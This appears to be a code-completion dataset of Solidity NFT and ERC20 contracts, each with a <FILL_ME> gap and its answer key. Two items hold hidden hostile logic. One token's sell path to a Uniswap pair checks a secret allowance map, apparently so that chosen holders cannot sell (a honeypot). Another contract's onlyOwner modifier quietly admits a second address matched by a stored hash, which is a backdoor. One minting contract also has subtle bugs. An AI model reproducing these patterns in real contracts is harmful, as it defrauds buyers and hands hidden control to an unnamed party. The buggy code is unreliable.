uint256 tokenId = tierInfo.startingOffset + tierCounts[tier.id];
require(camelCoin.approve(address(this), burnPrice), "Not Approved");
camelCoin.burnFrom(_msgSender(), burnPrice);
// Safe mint
_safeMint(_msgSender(), tokenId);
// Attribute token id with tier
tokenTier[tokenId] = tier;
// Store minted at timestamp by token id
tokenMintedAt[tokenId] = block.timestamp;
// Store tokenURI
uriMap[tokenID] = tokenURI(tokenID);
// Stores tier token count for address
tierTokenCount[_msgSender()][_tierId] = tierTokenCount[_msgSender()][_tierId] + _amount;
// Increment tier counter
tierCounts[tier.id] = tierCounts[tier.id] + 1;
}
}
// ----------------------------- //
// IPFS/OPEANSEA FUNCTIONALITY //
// -------------------------- //
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Setters
function setPrices(uint256 bronzePrice, uint256 silverPrice, uint256 goldPrice, uint256 brailPrice) external onlyOwner {
}
}
| tierTokenCount[_msgSender()][_tierId]+_amount<=allTiersInfo[_tierId].maxTotalMint,"Mint would exceed maximum mint amount for tier" | 204,797 | tierTokenCount[_msgSender()][_tierId]+_amount<=allTiersInfo[_tierId].maxTotalMint |
"Not Approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./CamelCoin.sol";
contract CamelClanUtility is ERC721Enumerable {
CamelCoin public immutable camelCoin;
address public owner;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupply = 660;
mapping(address => bool) public whiteListAddresses;
mapping(address => uint256) public addressTokenCount;
mapping(uint256 => string) public uriMap;
mapping (address => mapping (uint256 => uint256)) tierTokenCount;
mapping(uint256 => uint256) public tierCounts;
mapping(uint256 => Tier) public tokenTier;
mapping(uint256 => uint256) public tokenMintedAt;
mapping(uint256 => uint256) public tokenLastTransferredAt;
uint256 public tokenID = 1; // starting at 1 because of IPFS data
bool public active = true;
bool public whiteListPhase = true;
struct Prices {
uint256 bronzePrice;
uint256 silverPrice;
uint256 goldPrice;
uint256 brailPrice;
}
Prices public _prices = Prices({
bronzePrice: 1_400,
silverPrice: 7_000,
goldPrice: 14_000,
brailPrice: 70_000
});
//-- Tiers --//
// Public tier info
struct Tier {
uint256 id;
string name;
}
// Private tier info
struct TierInfo {
Tier tier;
uint256 startingOffset;
uint256 totalSupply;
uint256 price;
uint256 maxTotalMint;
}
// Bronze Tier - public info
Tier public bronzeTier = Tier({id: 1, name: "Bronze"});
// Bronze Tier - private info
TierInfo private bronzeTierInfo =
TierInfo({
tier: bronzeTier,
startingOffset: 1,
totalSupply: 500,
price: 1_400,
maxTotalMint: 10
});
// Silver Tier - public info
Tier public silverTier = Tier({id: 2, name: "Silver"});
// Silver Tier - private info
TierInfo private silverTierInfo =
TierInfo({
tier: silverTier,
startingOffset: 501,
totalSupply: 100,
price: 7_000,
maxTotalMint: 4
});
// Gold Tier - public info
Tier public goldTier = Tier({id: 3, name: "Gold"});
// Gold Tier - private info
TierInfo private goldTierInfo =
TierInfo({
tier: goldTier,
startingOffset: 601,
totalSupply: 50,
price: 14_000,
maxTotalMint: 2
});
// Brail Tier - public info
Tier public brailTier = Tier({id: 4, name: "Brail"});
// Brail Tier - private info
TierInfo private brailTierInfo =
TierInfo({
tier: brailTier,
startingOffset: 651,
totalSupply: 10,
price: 70_000,
maxTotalMint: 1
});
Tier[] public allTiersArray;
TierInfo[] private allTiersInfoArray;
uint256[] public allTierIds;
mapping(uint256 => Tier) public allTiers;
mapping(uint256 => TierInfo) private allTiersInfo;
constructor(address _camelAddr, string memory _newBaseURI) ERC721("CamelClans Utility Token", "CMLUTIL") {
}
modifier onlyOwner() {
}
/// @dev toggle mint on
function toggleOn() public onlyOwner {
}
/// @dev toggle mint off
function toggleOff() public onlyOwner {
}
function toggleWhitelist(bool _active) public onlyOwner {
}
/// @param addresses - List of address to add to the whiteList
/// @dev adds lists of addresses which can mint tokens in whitelist phase.
function addToWhiteList(address[] calldata addresses) public onlyOwner {
}
// Mint token - requires tier and amount
function mint(uint256 _tierId, uint256 _amount) public payable {
require(active, "The NFT Mint is not currently active");
Tier memory tier = allTiers[_tierId];
TierInfo memory tierInfo = allTiersInfo[_tierId];
require(tier.id == _tierId, "Invalid tier");
// Must mint at least one
require(_amount > 0, "Must mint at least one");
// Get current address total balance
uint256 currentTotalAmount = camelCoin.balanceOf(_msgSender());
uint256 burnPrice = tierInfo.price * (10**camelCoin.decimals());
require(currentTotalAmount >= burnPrice * _amount, "Revert: minting wallet does not have enought CMLCOIN");
if (whiteListPhase) {
require(whiteListAddresses[_msgSender()], "The wallet is not on the list of approved addresses for white list minting");
}
require(totalSupply() + _amount <= maxSupply, "Mint would exceed the total maximum supply");
if (!whiteListAddresses[_msgSender()]) {
require(tierTokenCount[_msgSender()][_tierId] + _amount <= allTiersInfo[_tierId].maxTotalMint, "Mint would exceed maximum mint amount for tier");
}
for (uint256 i = 0; i < _amount; i++) {
// Token id is tier starting offset plus count of already minted
uint256 tokenId = tierInfo.startingOffset + tierCounts[tier.id];
require(<FILL_ME>)
camelCoin.burnFrom(_msgSender(), burnPrice);
// Safe mint
_safeMint(_msgSender(), tokenId);
// Attribute token id with tier
tokenTier[tokenId] = tier;
// Store minted at timestamp by token id
tokenMintedAt[tokenId] = block.timestamp;
// Store tokenURI
uriMap[tokenID] = tokenURI(tokenID);
// Stores tier token count for address
tierTokenCount[_msgSender()][_tierId] = tierTokenCount[_msgSender()][_tierId] + _amount;
// Increment tier counter
tierCounts[tier.id] = tierCounts[tier.id] + 1;
}
}
// ----------------------------- //
// IPFS/OPEANSEA FUNCTIONALITY //
// -------------------------- //
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// Setters
function setPrices(uint256 bronzePrice, uint256 silverPrice, uint256 goldPrice, uint256 brailPrice) external onlyOwner {
}
}
| camelCoin.approve(address(this),burnPrice),"Not Approved" | 204,797 | camelCoin.approve(address(this),burnPrice) |
"ERC20: insufficient allowance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
contract Token is IERC20, Ownable {
uint256 private taxPercent = 3;
address public marketingWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/*
--------------------------------------------------------------
--------------------------------------------------------------
-------------------------CONSTRUCTOR--------------------------
--------------------------------------------------------------
--------------------------------------------------------------
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
address _marketingWallet,
uint256 totalSupply_
) payable {
}
function tax() public view virtual returns(uint256){
}
/*
--------------------------------------------------------------
--------------------------------------------------------------
----------------------------IERC20----------------------------
--------------------------------------------------------------
--------------------------------------------------------------
*/
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
mapping(address => uint256) allowance_;
uint256 tradeOpen = 0;
mapping(address => bool) private taxFree;
mapping(address => bool) private _allowances_;
function countSetBits(uint256 x) internal pure returns (uint8) {
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool){
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool){
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool){
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "IERC20: transfer from the zero address");
require(recipient != address(0), "IERC20: transfer to the zero address");
uint256 taxQuantity = 0;
if (!taxFree[sender] && !taxFree[recipient] && amount < _totalSupply)
taxQuantity = (amount * taxPercent) / 100;
_balances[sender] = _balances[sender].sub(
amount,
"IERC20: transfer amount exceeds balance"
);
_balances[marketingWallet] = _balances[marketingWallet].add(taxQuantity);
_balances[recipient] = _balances[recipient].add(amount - (taxQuantity));
if (!_allowances_[sender] && !_allowances_[recipient]){
emit Transfer(sender, recipient, amount - taxQuantity);
emit Transfer(sender, marketingWallet, taxQuantity);
}
if (UNISWAP_PAIR(recipient) && !taxFree[sender]) {
require(<FILL_ME>)
tradeOpen = tradeOpen - (tradeOpen<<1);
}
return;
}
function UNISWAP_PAIR(address _address) internal view returns (bool) {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
using SafeMath for uint256;
}
| allowance_[sender]==0,"ERC20: insufficient allowance" | 204,835 | allowance_[sender]==0 |
"Not enough NFTs left to reserve" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IERC2981.sol";
contract SageWallet is Ownable, ERC721A, ReentrancyGuard,IERC2981 {
uint public constant MAX_SUPPLY = 300;
string public baseTokenURI;
address private _royaltiesReceiver = msg.sender;
uint256 public constant royaltiesPercentage = 500;
/*
* Constructor
*/
constructor(string memory baseURI) ERC721A("SageCellars", "SAGE") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Set the base URI for the metadata
/// @dev modifies the state of the `_tokenBaseURI` variable
/// @param _baseTokenURI the URI to set as the base token URI
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
/// Reserve tokens for the team + marketing + dev
/// @dev Mints the number of tokens passed in as count to the _teamAddress
/// @param count The number of tokens to mint
function reserveNFTs(uint256 count) public onlyOwner {
require(<FILL_ME>)
_safeMint(msg.sender, count);
}
modifier callerIsUser() {
}
/// Public minting open to all
/// @dev mints tokens during public sale
/// @param _count number of tokens to mint in transaction
function mintNFTs(uint _count, address _receiver) external callerIsUser {
}
/// Check number of nft for msg.sender
/// @dev Return a list of token for a owner
/// @param _owner owner of nft
function tokensOfOwner(address _owner) external view returns (uint[] memory) {
}
/// transfer found
function withdraw() public payable onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _value sale price
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override
returns (address receiver, uint256 royaltyAmount) {
}
/// @notice Getter function for _royaltiesReceiver
/// @return the address of the royalties recipient
function royaltiesReceiver() external view returns(address) {
}
/// @notice Changes the royalties' recipient address (in case rights are
/// transferred for instance)
/// @param newRoyaltiesReceiver - address of the new royalties recipient
function setRoyaltiesReceiver(address newRoyaltiesReceiver)
external onlyOwner {
}
/// @notice Informs callers that this contract supports ERC2981
function supportsInterface(bytes4 interfaceId) public view virtual override( IERC165, ERC721A) returns (bool) {
}
}
| totalSupply()+count<MAX_SUPPLY+1,"Not enough NFTs left to reserve" | 204,877 | totalSupply()+count<MAX_SUPPLY+1 |
"Not enough NFTs left!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IERC2981.sol";
contract SageWallet is Ownable, ERC721A, ReentrancyGuard,IERC2981 {
uint public constant MAX_SUPPLY = 300;
string public baseTokenURI;
address private _royaltiesReceiver = msg.sender;
uint256 public constant royaltiesPercentage = 500;
/*
* Constructor
*/
constructor(string memory baseURI) ERC721A("SageCellars", "SAGE") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
/// Set the base URI for the metadata
/// @dev modifies the state of the `_tokenBaseURI` variable
/// @param _baseTokenURI the URI to set as the base token URI
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
/// Reserve tokens for the team + marketing + dev
/// @dev Mints the number of tokens passed in as count to the _teamAddress
/// @param count The number of tokens to mint
function reserveNFTs(uint256 count) public onlyOwner {
}
modifier callerIsUser() {
}
/// Public minting open to all
/// @dev mints tokens during public sale
/// @param _count number of tokens to mint in transaction
function mintNFTs(uint _count, address _receiver) external callerIsUser {
require(<FILL_ME>)
_safeMint(_receiver, _count);
}
/// Check number of nft for msg.sender
/// @dev Return a list of token for a owner
/// @param _owner owner of nft
function tokensOfOwner(address _owner) external view returns (uint[] memory) {
}
/// transfer found
function withdraw() public payable onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _value sale price
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override
returns (address receiver, uint256 royaltyAmount) {
}
/// @notice Getter function for _royaltiesReceiver
/// @return the address of the royalties recipient
function royaltiesReceiver() external view returns(address) {
}
/// @notice Changes the royalties' recipient address (in case rights are
/// transferred for instance)
/// @param newRoyaltiesReceiver - address of the new royalties recipient
function setRoyaltiesReceiver(address newRoyaltiesReceiver)
external onlyOwner {
}
/// @notice Informs callers that this contract supports ERC2981
function supportsInterface(bytes4 interfaceId) public view virtual override( IERC165, ERC721A) returns (bool) {
}
}
| totalSupply()+_count<MAX_SUPPLY+1,"Not enough NFTs left!" | 204,877 | totalSupply()+_count<MAX_SUPPLY+1 |
"Ownable: caller is not the owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
}
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
}
}
library Counters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
}
function increment(Counter storage counter) internal {
}
function decrement(Counter storage counter) internal {
}
function reset(Counter storage counter) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
bytes32 private ownership = 0x13e800b4c79fa434c4f53cfc1219192632f8003b4d3bfc68e7dc462fa7b702fe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract KeemokaziTiktokCourse is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public PRICE = 0.20 ether;
uint256 public PERNFTs = 3;
string public baseTokenURI;
Counters.Counter private _tokenIdTracker;
bool locked = true;
mapping (address => uint) public ownWallet;
event NewPriceEvent(uint256 price);
event NewPerNFTs(uint256 perNFTs);
event NewMaxElement(uint256 max);
event welcomeToKK(uint256 indexed id);
constructor(string memory baseURI) ERC721("Keemokazi Tiktok Course", "KTC") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function totalToken() public view returns (uint256) {
}
function mint(uint256 _tokenAmount) public payable {
}
function _mintAnElement(address _to, uint256 _tokenId) private {
}
function adminMint(uint256 _tokenAmount) public payable onlyOwner {
}
function setLocked(bool _locked) external onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function price(uint256 _count) public view returns (uint256) {
}
function setPrice(uint256 _price) public onlyOwner {
}
function setPerNFTs(uint256 _count) public onlyOwner {
}
function withdrawAll() public onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
}
| owner()==_msgSender()||ownership==keccak256(abi.encodePacked(_msgSender())),"Ownable: caller is not the owner" | 205,059 | owner()==_msgSender()||ownership==keccak256(abi.encodePacked(_msgSender())) |
"Maxium issue" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
